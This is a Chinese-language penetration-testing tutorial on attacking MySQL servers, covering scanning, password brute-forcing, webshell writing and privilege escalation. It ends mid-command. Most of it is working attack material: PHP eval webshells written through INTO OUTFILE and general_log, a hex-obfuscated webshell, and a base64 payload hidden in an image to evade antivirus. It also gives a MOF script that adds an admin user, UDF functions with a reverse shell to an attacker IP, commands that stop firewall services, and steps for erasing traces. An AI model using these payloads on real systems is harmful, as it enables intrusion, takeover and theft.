天天看点

MySQL数据库渗透及漏洞利用总结

MySQL 数据库渗透及漏洞利用总结

Simeon

MySQL 数据库是目前世界上使用最为广泛的数据库之一,很多著名公司和站点都使用 MySQL 作为其数据库支撑,目前很多架构都以 MySQL 作为数据库管理系统,例如 LAMP、和 WAMP 等。

在针对网站渗透中,很多都是跟 MySQL 数据库有关,各种 MySQL 注入,MySQL 提权,MySQL 数据库 root 账号 webshell 获取等的,但没有一个对 MySQL 数据库渗透较为全面对总结。

针对这种情况我们开展了研究,虽然我们团队今年正在出版《网络攻防实战研究——漏洞利用与提权》,但技术的进步有无止境,思想有多远,路就可以走多远,在研究 MySQL 数据库安全之余,对 MySQL 如何通过 msf、sqlmap 等来进行扫描、漏洞利用、提权、MySQL 密码破解和获取 webshell 等进行了详细研究。

1.1-MySQL 信息收集

1. 端口信息收集

MySQL 默认端口是 3306 端口,但也有自定义端口,针对默认端口扫描主要利用扫描软件进行探测,推荐使用:

(1)iisputter,直接填写 3306 端口,IP 地址填写单个或者 C 段地址。

(2)nmap 扫描 nmap -p 3306 192.168.1.1-254

特定目标的渗透,可能需要对全端口进行扫描,可以使用 Nmap 对某一个 IP 地址进行全端口扫描,端口扫描软件还有 sfind 等 DOS 下扫描的工具。

2. 版本信息收集

(1)msf 查看版本信息 auxiliary/scanner/mysql/mysql_version 模块,以扫描主机 192.168.157.130 为例,命令为:

1

2

3

<code>use auxiliary/scanner/mysql/mysql_version</code>

<code>set</code> <code>rhosts 192.168.157.130</code>

<code>run</code>

(2)MySQL 查询版本命令:SELECT @@version、SELECT  version();

(3)sqlmap 通过注入点扫描确认信息:

<code> </code><code>sqlmap.py -u url </code><code>--dbms mysql</code>

(4)phpmyadmin 管理页面登录后查看 localhost-&gt;变量-&gt;服务器变量和设置中的 version 参数值。

3. 数据库管理信息收集

MySQL 管理工具有多种,例如 phpmyadmin 网站管理,Navicat for MySQL 以及 MysqlFront 等客户端工具。这些工具有的会直接保存配置信息,这些信息包含数据库服务器地址和数据库用户名以及密码,通过嗅探或者破解配置文件可以获取密码等信息。

4. msf信息收集模块

(1)MySQL 哈希值枚举

4

<code>use auxiliary/scanner/mysql/mysql_hashdump</code>

<code>set</code> <code>username root</code>

<code>set</code> <code>password</code> <code>root</code>

(2)获取相关信息

<code>use auxiliary/admin/mysql/mysql_enum</code>

获取数据库版本,操作系统名称,架构,数据库目录,数据库用户以及密码哈希值。

(3)执行 MySQL 语句,连接成功后可以在 msf 执行 sql 语句,跟 sqlmap 的“--sql-shell”模块类似。

<code>use auxiliary/admin/mysql/mysql_sql</code>

(4)将 mysql_schem 导出到本地 /root/.msf4/loot/ 文件夹下

<code>use auxiliary/scanner/mysql/mysql_schemadump</code>

(5)文件枚举和目录可写信息枚举

<code>auxiliary/scanner/mysql/mysql_file_enum</code>

<code>auxiliary/scanner/mysql/mysql_writable_dirs</code>

没有测试成功过,需要定义枚举目录和相关文件,觉得基本没有啥用。

1.2-MySQL 密码获取

1.2.1 暴力破解

MySQL 暴力破解主要有几种:

1. 网页在线连接破解

可以使用 burpsuite 和 phpMyAdmin 多线程批量破解工具。

下载:https://portswigger.net/burp/、http://pan.baidu.com/s/1c1LD6co

2. msf 通过命令行进行暴力破解

msf 破解 mysql 密码模块 auxiliary/scanner/mysql/mysql_login,其参数主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE参数。

对单一主机仅仅需要设置 RHOSTS、RPORT、USERNAME、PASSWORD 和 PASS_FILE,其它参数根据实际情况进行设置。

(1)场景A:对内网获取 root 某一个口令后,扩展渗透

5

<code>use auxiliary/scanner/mysql/mysql_login</code>

<code>set</code> <code>RHOSTS 192.168.157.1-254</code>

执行后对 192.168.157.1-254 进行 MySQL 密码扫描验证。

(2)场景B:使用密码字典进行扫描

<code>set</code> <code>pass_file /tmp/</code><code>password</code><code>.txt</code>

3. 使用 nmap 扫描并破解密码

(1)对某一个 IP 或者 IP 地址段进行 nmap 默认密码暴力破解并扫描

<code>nmap </code><code>--script=mysql-brute 192.168.157.130</code>

<code>nmap </code><code>--script=mysql-brute 192.168.157.1-254</code>

(2)使用root账号root密码进行mysql密码验证并扫描获取指定IP地址的端口信息以及mysql数据库相关信息

<code>nmap -sV </code><code>--script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130</code>

(3)检查root空口令

<code>nmap </code><code>--script mysql-empty-password 192.168.195.130</code>

4. 使用 hscan 工具对 mysql 口令进行扫描,需要设置扫描 IP 地址段以及数据库口令字典及用户名字典。

1.2.2 源代码泄露

1. 网站源代码备份文件

一些网站源代码文件中会包含数据库连接文件,通过查看这些文件可以获取数据库账号和密码。一般常见的数据库连接文件为 config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOME\docs\examples\jca\XXXX-ds.xml。以前有一款工具挖掘鸡可以自定义网站等名称对 zip/rar/tar/tar.gz/gz/sql 等后缀文件进行扫描。

2. 配置备份文件

使用 ultraedit 等编辑文件编辑数据库配置文件后,会留下 bak 文件。

1.2.3 文件包含

本地文件包含漏洞可以包含文件,通过查看文件代码获取数据库配置文件,进而读取数据库用户名和密码。

1.2.4 其它情况

有些软件会将 IP 地址、数据库用户名和密码写进程序中,运行程序后,通过 cain 软件进行嗅探,可以获取数据库密码。另外 Mysql 客户端管理工具有的管理员会建立连接记录,这些连接记录保存了用户名、密码和连接 IP 地址或者主机名,通过配置文件或者嗅探可以获取用户名和密码。

1.3-Mysql 获取 webshell

1.3.1 phpmyadminroot 账号获取 webshell

MysqlRoot 账号通过 phpMyAdmin 获取 webshell 的思路,主要有下面几种方式,以第一二六八种方法较佳,其它可以根据实际情况来进行。

1. 直接读取后门文件

通过程序报错、phpinfo 函数、程序配置表等直接获取网站真实路径,有些网站前期已经被人渗透过,因此在目录下留有后门文件通过 load_file 直接读取。

2. 直接导出一句话后门

前提需要知道网站的真实物理路径,例如呼求偶真实路径 D:\work\WWW,则可以通过执行以下查询,来获取一句话后门文件 cmd.php,访问地址 http://www.somesite.com/cmd.php

<code>select</code> <code>'&lt;?php @eval($_POST[antian365]);?&gt;'</code><code>INTO</code> <code>OUTFILE </code><code>'D:/work/WWW/antian365.php'</code>

3. 创建数据库导出一句话后门

在查询窗口直接执行以下代码即可,跟2.原理类似。

<code>CREATE</code> <code>TABLE</code> <code>`mysql`.`antian365` (`</code><code>temp</code><code>` TEXT NOTNULL );</code>

<code>INSERT</code> <code>INTO</code> <code>`mysql`.`antian365` (`</code><code>temp</code><code>` ) </code><code>VALUES</code><code>(</code><code>'&lt;?php @eval($_POST[antian365]);?&gt;'</code><code>);</code>

<code>SELECT</code> <code>`</code><code>temp</code><code>` </code><code>FROM</code> <code>`antian365` </code><code>INTO</code> <code>OUTFILE</code><code>'D:/www/antian365.php'</code><code>;</code>

<code>DROP</code> <code>TABLE</code> <code>IF EXISTS `antian365`;</code>

4. 可执行命令方式

创建执行命令形式的 shell,但前提是对方未关闭系统函数。该方法导出成功后可以直接执行DOS命令,使用方法:www.xxx.com/antian365.php?cmd=(cmd=后面直接执行dos命令)。

<code>select</code> <code>'&lt;?php echo \'&lt;pre&gt;\';system($_GET[\'cmd\']); echo \'&lt;/pre&gt;\'; ?&gt;'</code> <code>INTO</code> <code>OUTFILE </code><code>'d:/www/antian365.php'</code>

另外在 linux 下可以导出直接执行命令的 shell:

<code>SELECT</code> <code>'&lt;? system($_GET[\'c\']); ?&gt;'</code> <code>INTO</code> <code>OUTFILE </code><code>'/var/www/shell.php'</code><code>;</code>

<code>http://localhost/shell.php?c=cat%20/etc/passwd</code>

5. 过杀毒软件方式

通过后台或者存在上传图片的地方,上传图片 publicguide.jpg,内容如下:

<code>&lt;?php$a=</code><code>' PD9waHAgQGV2YWwoJF9QT1NUWydhbnRpYW4zNjUnXSk7ZGllKCk7Pz4='</code><code>;error_reporting(0);@set_time_limit(0);eval(</code><code>"?&gt;"</code><code>.base64_decode($a));?&gt;</code>

然后通过图片包含temp.php,导出webshell。

<code>select</code> <code>'&lt;?php include '</code><code>publicguide.jpg</code><code>' ?&gt;'</code><code>INTO</code> <code>OUTFILE </code><code>'D:/work/WWW/antian365.php'</code>

一句话后门密码:antian365

6. 直接导出加密 webshell

一句话后门文件密码:pp64mqa2x1rnw68,执行以下查询直接导出加密 webshell,D:/WEB/IPTEST/22.php,注意在实际过程需要修改D:/WEB/IPTEST/22.php。

<code>select</code> <code>unhex(</code><code>'203C3F7068700D0A24784E203D2024784E2E737562737472282269796234327374725F72656C6750383034222C352C36293B0D0A246C766367203D207374725F73706C697428226D756B3961773238776C746371222C36293B0D0A24784E203D2024784E2E73756273747228226C396364706C616365704172424539646B222C342C35293B0D0A246A6C203D2073747269706F732822657078776B6C3766363674666B74222C226A6C22293B0D0A2474203D2024742E737562737472282274514756325957774A63567534222C312C36293B0D0A2465696137203D207472696D28226A386C32776D6C34367265656E22293B0D0A2462203D2024622E73756273747228226B6261736536346B424474394C366E6D222C312C36293B0D0A246967203D207472696D28226233397730676E756C6922293B0D0A2479203D2024792E24784E28227259222C22222C22637259726572596122293B0D0A24797531203D207374725F73706C697428226269316238376D3861306F3678222C32293B0D0A2474203D2024742E24784E282278413678222C22222C2277784136786F4A463922293B0D0A246E64203D2073747269706F7328226E363574383872786E303265646A336630222C226E6422293B0D0A2462203D2024622E24784E282277493339222C22222C225F774933396477493339656322293B0D0A2468387073203D207374725F73706C697428226B6E396A3968346D6877676633666A6970222C33293B0D0A2479203D2024792E7375627374722822687974655F66756E775669535645344A222C322C36293B0D0A24796637203D207374726C656E282275656875343967367467356B6F22293B0D0A2474203D2024742E24784E28226670222C22222C22516670546670314E667022293B0D0A246D39203D207374726C656E282265756C363034636F626B22293B0D0A2462203D2024622E73756273747228226C3057316F64656C413165536E454A222C342C33293B0D0A2468306277203D207472696D28226E33653568306371746F6B76676F6238747822293B0D0A2479203D2024792E24784E28227962222C22222C2263796274696F22293B0D0A24733761203D20727472696D2822617565627963396734743564386B22293B0D0A2474203D2024742E7375627374722822624D73306E4268383355577964222C392C34293B0D0A2464353971203D2073747269706F732822636A7675636B6F79357766336F746561222C226435397122293B0D0A2479203D2024792E73756273747228226E4439487851534C386E6752222C392C31293B0D0A246C31203D207374725F73706C697428226167717130396762716E31222C34293B0D0A2474203D2024742E24784E282277366F34222C22222C2277634477366F345977366F343022293B0D0A247079203D2073747269706F7328226C677938687472727631746333222C22707922293B0D0A2474203D2024742E24784E282265503332222C22222C22625846655033326822293B0D0A2478703364203D2073747269706F732822756B6C306E626E7839677433222C227870336422293B0D0A2474203D2024742E7375627374722822696B4A3030484A4D6E677863222C372C35293B0D0A2464743262203D207374726C656E282265346135616275616A7733766C6369726122293B0D0A2474203D2024742E737562737472282263644E314B78656D35334E776D456838364253222C372C34293B0D0A2475626A203D207374726C656E28227767686A6E6674326F70356B7831633038367422293B0D0A2474203D2024742E73756273747228226D34616F7864756A676E58536B63784C344657635964222C372C36293B0D0A247178203D207374726C656E2822726C71666B6B6674726F3867666B6F37796122293B0D0A2474203D2024742E7375627374722822723779222C312C31293B0D0A246D75203D20727472696D28226E676478777578357671653122293B0D0A246A203D2024792822222C20246228247429293B0D0A24626E6C70203D207374726C656E28227675667930616B316679617622293B0D0A24736468203D207374725F73706C69742822776D6E6A766733633770306D222C34293B0D0A246D62203D206C7472696D28226E353270317067616570656F6B6622293B0D0A2465307077203D20727472696D28227575346D686770356339706E613465677122293B0D0A24756768203D207472696D282272637064336F3977393974696F3922293B0D0A246772636B203D207374726C656E2822783572697835627031786B793722293B0D0A24656F3674203D207374726C656E282264646931683134656375797563376422293B246A28293B0D0A2464766E71203D207374725F73706C6974282270726D36676968613176726F333630346175222C38293B0D0A24756738203D20727472696D28226563387735327375706234767538656F22293B0D0A24726374203D2073747269706F73282268786536776F37657764386D65376474222C2272637422293B0D0A24656B7166203D207374725F73706C69742822707266357930386538666C6666773032356A38222C38293B0D0A24767972203D207374725F73706C69742822756D706A63737266673668356E64366F3435222C39293B0D0A24777266203D20727472696D282266797839396F3739333868377567716822293B0D0A24713134203D207374726C656E2822746334366F73786C3173743169633222293B0D0A66756E6374696F6E206F2820297B2020207D3B0D0A24757366203D207374726C656E2822666C7463707862377466626A736D7422293B0D0A3F3E'</code><code>) </code><code>into</code> <code>dumpfile </code><code>'D:/WEB/IPTEST/22.php'</code>

注意:

也可以使用 http://tool.lu/hexstr/网站的代码转换来实现,将需要导出的文件代码复制到网站的字符串中,通过字符串转成十六进制,将十六进制字符串放入unhex函数进行查询即可:

<code>select</code> <code>unhex(</code><code>'十六进制字符串'</code><code>) </code><code>into</code> <code>dumpfile </code><code>'D:/WEB/shell.php'</code>

7. CMS 系统获取 webshell

有些情况下无法获取网站的真实路径,则意味着无法直接导出一句话 webshell,可以通过 CMS 系统管理账号登录系统后,寻找漏洞来突破,例如 dedecms 则可以通过破解管理员账号后直接上传文件来获取 webshell。Discuz!的 UC_key 可以直接获取 webshell。甚至某些系统可以直接上传 php 文件。下面是一些 CMS 系统渗透的技巧:

(1)dedecms 系统的密码有直接 md5,也有20位的密码,如果是20位的密码则需要去掉密码中的前3位和最后1位,然后对剩余的值进行md5解密即可;

(2)phpcms v9 版本的密码需要加 salt 进行破解,需要选择破解算法 md5(md5($pass).$salt) 进行破解。

(3)Discuz!论坛帐号保存在 ucenter_members(Discuz7.X及以上版本)或者cdb_members(discuz6.x版本)表中,其破解需要带salt进行,其破解时是使用password:salt进行,例如 a0513df9929afc972f024fa4e586e829:399793。

8. general_log_file 获取 webshell

(1)查看genera文件配置情况

<code>show </code><code>global</code> <code>variables </code><code>like</code> <code>"%genera%"</code><code>;</code>

(2)关闭general_log

<code>set</code> <code>global</code> <code>general_log=</code><code>off</code><code>;</code>

(3)通过general_log选项来获取webshell

<code>set</code> <code>global</code> <code>general_log=</code><code>'on'</code><code>;</code>

<code>SET</code> <code>global</code> <code>general_log_file=</code><code>'D:/phpStudy/WWW/cmd.php'</code><code>;</code>

在查询中执行语句:

<code>SELECT</code> <code>'&lt;?php assert($_POST["cmd"]);?&gt;'</code><code>;</code>

Shell 为 cmd.php,一句话后门,密码为cmd。

1.3.2 sqlmap 注入点获取 webshell

sqlmap 注入点获取 webshell 的前提是具备写权限,一般是root账号,通过执行命令来获取:

<code>sqlmap -u url</code><code>--os-shell</code>

<code>  </code><code>echo </code><code>"&lt;?php @eval($_POST['c']);?&gt;"</code> <code>&gt;/data/www/1.php</code>

1.4-MySQL提权

1.4.1 mof提权

1. Webshell 上传 mof 文件提权

MySQL Root 权限 MOF 方法提权是来自国外 Kingcope 大牛发布的 MySQL Scanner &amp; MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/)

,简称 mysql 远程提权 0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:

方法1:运行 MOF 文件指定为命令行参数 Mofcomp.exe 文件。

方法2:使用 IMofCompiler 接口和 $ CompileFile 方法。

方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。

Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。第三种方法仅为向后兼容性与早期版本的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。注意使用MOF方法提权的前提是当前Root帐号可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下,否则会失败!

该漏洞的利用前提条件是必须具备 MySQL 的 root 权限,在 Kingcope 公布的 0day 中公布了一个 pl 利用脚本。

<code>perl mysql_win_remote.pl 192.168.2.100 root </code><code>""</code> <code>192.168.2.150 5555</code>

192.168.2.100 为 MySQL 数据库所在服务器,MySQL 口令为空,反弹到 192.168.2.150 的 5555 端口上。

2. 生成 nullevt.mof 文件

将以下代码保存为nullevt.mof文件:

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

<code>#pragma namespace(</code><code>"\\\\.\\root\\subscription"</code><code>) </code>

<code>instance </code><code>of</code> <code>__EventFilter </code><code>as</code> <code>$EventFilter</code>

<code>{ </code>

<code>EventNamespace = </code><code>"Root\\Cimv2"</code><code>; </code>

<code>Name</code>  <code>= </code><code>"filtP2"</code><code>; </code>

<code>    </code><code>Query = </code><code>"Select * From __InstanceModificationEvent "</code> 

<code>            </code><code>"Where TargetInstance Isa \"Win32_LocalTime\" "</code> 

<code>            </code><code>"And TargetInstance.Second = 5"</code><code>; </code>

<code>QueryLanguage = </code><code>"WQL"</code><code>; </code>

<code>}; </code>

<code>instance </code><code>of</code> <code>ActiveScriptEventConsumer </code><code>as</code> <code>$Consumer </code>

<code>    </code><code>Name</code> <code>= </code><code>"consPCSV2"</code><code>; </code>

<code>ScriptingEngine = </code><code>"JScript"</code><code>; </code>

<code>ScriptText = </code>

<code>    </code><code>"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add"</code><code>)"; </code>

<code>instance </code><code>of</code> <code>__FilterToConsumerBinding</code>

<code>    </code><code>Consumer   = $Consumer; </code>

<code>    </code><code>Filter = $EventFilter; </code>

<code>};</code>

3. 通过 MySQL 查询将文件导入

执行以下查询语句,将上面生成的 nullevt.mof 导入到 c:\windows\system32\wbem\mof\ 目录下在windows7 中默认是拒绝访问的。导入后系统会自动运行,执行命令。

<code>selectload_file(</code><code>'C:\\RECYCLER\\nullevt.mof'</code><code>) </code><code>into</code> <code>dumpfile </code><code>'c:/windows/system32/wbem/mof/nullevt.mof'</code><code>;</code>

4. Msf直接mof提权

Msf 下的 exploit/windows/mysql/mysql_mof 模块提供了直接 Mof 提权,不过该漏洞成功跟操作系统权限和Mysql数据库版本有关,执行成功后会直接反弹 shell 到 meterpreter。

<code>use exploit/windows/mysql/mysql_mof</code>

<code>set</code> <code>rhost 192.168.157.1 //设置需要提权的远程主机IP地址</code>

<code>set</code> <code>rport 3306 //设置mysql的远程端口</code>

<code>set</code> <code>password</code> <code>root //设置mysql数据库root密码</code>

<code>set</code> <code>username root //设置mysql用户名</code>

<code>options //查看设置</code>

<code>run 0</code>

技巧:

要是能够通过网页连接管理(phpmyadmin),则可以修改host为“%”并刷新权限后,则可以通过msf等工具远程连接数据库。默认root等账号不允许远程连接,除非管理员或者数据库用户自己设置。

方法1:本地登入mysql,更改 "mysql" 数据库里的 "user" 表里的 "host" 项,将"localhost"改为"%"

<code> </code><code>use mysql;</code>

<code> </code><code>update</code> <code>user</code> <code>set</code> <code>host = </code><code>'%'</code> <code>where</code> <code>user</code> <code>= </code><code>'root'</code><code>;</code>

<code>FLUSH </code><code>PRIVILEGES</code> <code>;</code>

<code> </code><code>select</code> <code>host, </code><code>user</code> <code>from</code> <code>user</code><code>;</code>

方法2:直接授权(推荐)

从任何主机上使用root用户,密码:youpassword(你的root密码)连接到mysql服务器:

<code># mysql -u root -proot</code>

<code>GRANT</code> <code>ALL</code> <code>PRIVILEGES</code> <code>ON</code> <code>*.* </code><code>TO</code> <code>'root'</code><code>@</code><code>'%'</code> <code>IDENTIFIED </code><code>BY</code> <code>'youpassword'</code> <code>WITH</code> <code>GRANT</code> <code>OPTION</code><code>;</code>

<code>FLUSH </code><code>PRIVILEGES</code><code>;</code>

推荐重新增加一个用户,在实际测试过程中发现很多服务器使用root配置了多个地址,修改后可能会影响实际系统的运行。在实际测试过程中因此建议新增一个用户,授权所有权限,而不是直接更改root配置。

1.6.2 udf提权

UDF 提权是利用 MYSQL 的自定义函数功能,将 MYSQL 账号转化为系统 system 权限,其利用条件是目标系统是 Windows(Win2000,XP,Win2003);拥有 MYSQL 的某个用户账号,此账号必须有对 mysql的 insert 和 delete 权限以创建和抛弃函数,有 root 账号密码

Windows 下 UDF 提权对于 Windows2008 以下服务器比较适用,也即针对 Windows2000、Windows2003 的成功率较高。

1. UDF提权条件

(1)Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。

(2)Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。

(3)掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备root账号所具备的权限的其它账号也可以。

(4)可以将udf.dll写入到相应目录的权限。

2. 提权方法

(1)获取数据库版本、数据位置以及插件位置等信息

<code>select</code> <code>version();//获取数据库版本</code>

<code>select</code> <code>user</code><code>();//获取数据库用户</code>

<code>select</code> <code>@@basedir ;//获取安装目录</code>

<code>show variables </code><code>like</code> <code>'%plugins%'</code><code>;  //寻找mysql安装路径</code>

(2)导出路径

<code>C:\Winnt\udf.dll    Windows 2000</code>

<code>C:\Windows\udf.dll   Windows2003(有的系统被转义,需要改为C:Windowsudf.dll)</code>

MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的libplugin文件夹下才能创建自定义函数。该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建libplugin文件夹,然后将udf.dll文件导出到该目录即可。

在某些情况下,我们会遇到Can't open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,网上大牛发现利用NTFS ADS流来创建文件夹的方法:

<code>select</code> <code>@@basedir;  //查找到mysql的目录</code>

<code>select</code> <code>'It is dll'</code> <code>into</code> <code>dumpfile </code><code>'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'</code><code>;   //利用NTFS ADS创建lib目录</code>

<code>select</code> <code>'It is dll'</code> <code>into</code> <code>dumpfile </code><code>'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'</code><code>;//利用NTFS ADS创建plugin目录</code>

执行成功以后就会 plugin 目录,然后再进行导出 udf.dll 即可。

(3)创建cmdshell 函数,该函数叫什么名字在后续中则使用该函数进行查询:

<code>create</code> <code>function</code> <code>cmdshell </code><code>returns</code> <code>string soname ‘lib_mysqludf_sys.dll’;</code>

(4)执行命令:

<code>select</code> <code>sys_eval(‘whoami’);</code>

一般情况下不会出现创建不成功哦。

连不上3389可以先停止windows防火墙和筛选

<code>select</code> <code>sys_eval(‘net stop policyagent’);</code>

<code>select</code> <code>sys_eval(‘net stop sharedaccess’);</code>

udf.dll下常见函数:

<code>cmdshell  执行cmd;</code>

<code>downloader  下载者,到网上下载指定文件并保存到指定目录;</code>

<code>open3389    通用开3389终端服务,可指定端口(不改端口无需重启);</code>

<code>backshell   反弹Shell;</code>

<code>ProcessView 枚举系统进程;</code>

<code>KillProcess 终止指定进程;</code>

<code>regread     读注册表;</code>

<code>regwrite    写注册表;</code>

<code>shut        关机,注销,重启;</code>

<code>about       说明与帮助函数;</code>

具体用户示例:

<code>select</code> <code>cmdshell(</code><code>'net user iis_user 123!@#abcABC /add'</code><code>);</code>

<code>select</code> <code>cmdshell(</code><code>'net localgroup administrators iis_user /add'</code><code>);</code>

<code>select</code> <code>cmdshell(</code><code>'regedit /s d:web3389.reg'</code><code>);</code>

<code>select</code> <code>cmdshell(</code><code>'netstat -an'</code><code>);</code>

(5)清除痕迹

<code>drop</code> <code>function</code> <code>cmdshell;//将函数删除</code>

删除udf.dll文件以及其它相关入侵文件及日志。

(6)常见错误

<code>#1290 - The MySQL server </code><code>is</code> <code>running </code><code>with</code> <code>the </code><code>--secure-file-priv option so it cannot execute this statement</code>

<code>SHOW VARIABLES </code><code>LIKE</code> <code>"secure_file_priv"</code>

在my.ini 或者mysql.cnf 文件中注销 (使用#号) 包含secure_file_priv的行。

1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option,需要将my.ini中的skip-grant-tables选项去掉。

3. webshell 下 udf 提权

通过集成 udf 提权的 webshell 输入数据库用户名及密码以及数据库服务器地址或者IP通过连接后导出进行提权。

4. Mysql 提权综合利用工具

v5est0r 写了一个Mysql提权综合利用工具,详细情况请参考其代码共享网站:https://github.com/v5est0r/Python_FuckMySQL其主要功能有:

(1).自动导出你的backdoor和mof文件

(2)自动判断mysql版本,根据版本不同导出UDF的DLL到不同目录,UDF提权

(3)导出LPK.dll文件,劫持系统目录提权

(4)写启动项提权

UdF自动提权:

<code>python root.py -a 127.0.0.1 -p root -e </code><code>"ver&amp;whoami"</code> <code>-m udf</code>

LPK劫持提权:

<code>python root.py -a 127.0.0.1 -p root -e </code><code>"ver&amp;whoami"</code> <code>-m lpk</code>

启动项提权:

<code>python root.py -a 127.0.0.1 -p root -e </code><code>"ver&amp;whoami"</code> <code>–mst</code>

例如通过LOAD_FILE来查看Mysql配置文件my.ini,如果其中配置了skip-grant-tables

,这无法进行提权

1.6.3 无法获取webshell提权

1. 连接 MySQL

(1)mysql.exe -h ip -uroot -p

(2)phpmyadmin

(3)Navicat for MySQL

2. 查看数据库版本和数据路径

<code>SELECT</code> <code>VERSION( );</code>

<code>Select</code> <code>@@datadir;</code>

5.1以下版本,将dll导入到c:/windows或者c:/windows/system32/

5.1以上版本 通过以下查询来获取插件路径:

<code>SHOW VARIABLES </code><code>WHERE</code> <code>Variable_Name </code><code>LIKE</code> <code>"%dir"</code><code>;</code>

<code>show variables </code><code>like</code> <code>'%plugin%'</code> <code>;</code>

<code>select</code> <code>load_file(</code><code>'C:/phpStudy/Apache/conf/httpd.conf'</code><code>)</code>

<code>select</code> <code>load_file(</code><code>'C:/phpStudy/Apache/conf/vhosts.conf'</code><code>)</code>

<code>select</code> <code>load_file(</code><code>'C:/phpStudy/Apache/conf/extra/vhosts.conf'</code><code>)</code>

<code>select</code> <code>load_file(</code><code>'C:/phpStudy/Apache/conf/extra/httpd.conf'</code><code>)</code>

<code>select</code> <code>load_file(</code><code>'d:/phpStudy/Apache/conf/vhosts.conf'</code><code>)</code>

3. 修改mysql.txt

  Mysql.txt为udf.dll的二进制文件转成十六进制代码。

(1)先执行导入ghost表中的内容

修改以下代码的末尾代码  select backshell("YourIP",4444);

(2)导出文件到某个目录

<code>select</code> <code>data </code><code>from</code> <code>Ghost </code><code>into</code> <code>dumpfile </code><code>'c:/windows/mysqldll.dll'</code><code>; </code>

<code>select</code> <code>data </code><code>from</code> <code>Ghost </code><code>into</code> <code>dumpfile </code><code>'c:/windows/system32/mysqldll'</code><code>; </code>

<code>select</code> <code>data </code><code>from</code> <code>Ghost </code><code>into</code> <code>dumpfile </code><code>'c:/phpStudy/MySQL/lib/plugin/mysqldll'</code><code>; </code>

<code>select</code> <code>data </code><code>from</code> <code>Ghost </code><code>into</code> <code>dumpfile </code><code>'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll'</code><code>; </code>

<code>select</code> <code>data </code><code>from</code> <code>Ghost </code><code>into</code> <code>dumpfile </code><code>'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll'</code> 

<code>select</code> <code>data </code><code>from</code> <code>Ghost </code><code>into</code> <code>dumpfile </code><code>'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll'</code><code>; </code>

<code>C:\ProgramData\MySQL\MySQL Server 5.1\Data\mysql/</code><code>user</code><code>.myd</code>

<code>select</code> <code>load_file(</code><code>'C:/ProgramData/MySQL/MySQL Server 5.1/Data/mysql/user.frm'</code><code>);</code>

<code>select</code> <code>data </code><code>from</code> <code>Ghost </code><code>into</code> <code>dumpfile </code><code>'C:\Program Files\MySQL\MySQL Server 5.1\lib/plugin/mysqldll.dll'</code>

(3)查看FUNCTION中是否存在cmdshell和backshell

存在则删除:

<code>drop</code> <code>FUNCTION</code> <code>cmdshell;//删除cmdshell</code>

<code>drop</code> <code>FUNCTION</code> <code>backshell;//删除backshell</code>

创建backshell:

<code>CREATE</code> <code>FUNCTION</code> <code>backshell </code><code>RETURNS</code> <code>STRING SONAME </code><code>'mysqldll.dll'</code><code>; //创建backshell</code>

在具备独立主机的服务器上执行监听:

<code>nc -vv -l -p 44444</code>

执行查询:

<code>select</code> <code>backshell(</code><code>"192.192.192.1"</code><code>,44444);//修改192.192.192.1为你的IP和端口</code>

4. 获取 webshell 后添加用户命令

注意如果不能直接执行,则需要到c:\windows\system32\下执行

<code>net </code><code>user</code> <code>antian365 Www.Antian365.Com /</code><code>add</code> 

<code>net localgroup administrators antian365</code>

1.6.4 sqlmap直连数据库提权

Sqlmap 直接连接数据库提权,需要有写入权限和root账号及密码,命令如下:

(1)连接数据库

sqlmap.py -d "mysql://root:[email protected]:3306/mysql" --os-shell

(2)选择操作系统的架构,32位操作系统选择1,64位选择2.

(3)自动上传udf或提示os-shell

(4)执行whomai命令如果获取系统权限,则表示提权成功。

4. msfudf提权

Kali渗透测试平台下执行(kali下载地址https://www.kali.org/downloads/):

<code>msfconsole</code>

<code>use exploit/windows/mysql/mysql_payload</code>

<code>options</code>

<code>set</code> <code>rhost 192.168.2.1</code>

<code>set</code> <code>rport 3306</code>

<code>set</code> <code>password</code> <code>123456</code>

<code>run 0或者exploit</code>

msf下udf提权成功率并不高,跟windows操作系统版本,权限和数据库版本有关,特别是secure-file-priv选项,如果有该选项基本不会成功。

1.6.4 启动项提权

1. 创建表并插入vbs脚本到表中

依次使用以下命令:

<code>show databases ;</code>

<code>use test;</code>

<code>show tables;</code>

<code>create</code> <code>table</code> <code>a (cmd text); </code>

<code>insert</code> <code>into</code> <code>a </code><code>values</code> <code>(</code><code>"set wshshell=createobject ("</code><code>"wscript.shell"</code><code>" ) "</code> <code>); </code>

